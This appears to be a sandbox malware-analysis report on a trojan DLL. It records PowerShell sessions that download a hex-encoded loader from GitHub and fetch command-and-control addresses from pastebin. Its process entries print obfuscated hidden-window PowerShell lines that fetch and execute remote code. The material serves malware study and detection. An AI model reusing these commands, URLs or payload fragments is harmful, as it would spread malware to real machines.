20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	185.199.110.133	443	7028	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:59 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:59 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C7AB:276216:D1E040:E80BFB:66E869CC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:59 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740075-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.108175,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: fd807fe39808c5f0b3c0fb22da2b1961ff64daa7 Expires: Mon, 16 Sep 2024 17:37:59 GMT Source-Age: 0
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49768	104.20.4.235	443	7220	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:33:28 UTC	74	OUT	GET /raw/zNCj2Utm HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:33:29 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:33:29 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 17:33:29 GMT Server: cloudflare CF-RAY: 8c429a0df9ac8ce8-EWR
2024-09-16 17:33:29 UTC	34	IN	Data Raw: 31 63 0d 0a 78 72 66 63 78 69 71 75 71 63 70 71 68 61 2e 64 64 6e 73 2e 6e 65 74 3a 34 34 31 31 0d 0a Data Ascii: 1cxrfcxiquqcpqha.ddns.net:4411
2024-09-16 17:33:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49769	104.20.4.235	443	7220	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:33:29 UTC	50	OUT	GET /raw/6db99fAK HTTP/1.1 Host: pastebin.com
2024-09-16 17:33:30 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:33:30 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 17:33:30 GMT Server: cloudflare CF-RAY: 8c429a144da342d1-EWR
2024-09-16 17:33:30 UTC	23	IN	Data Raw: 31 31 0d 0a 34 35 2e 31 34 34 2e 33 31 2e 31 30 35 3a 34 34 33 0d 0a Data Ascii: 1145.144.31.105:443
2024-09-16 17:33:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll"
Imagebase:	0x7ff7f0590000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Imagebase:	0x7ff7c69d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Imagebase:	0x7ff745a60000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Imagebase:	0x7ff7ae280000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer
Imagebase:	0x7ff7ae280000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 7400, Parent PID: 7344

General

Target ID:	8
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7408, Parent PID: 7384

General

Target ID:	9
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:32:34
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:32:37
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2676, Parent PID: 7400

General

Target ID:	14
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:32:53
Start date:	16/09/2024
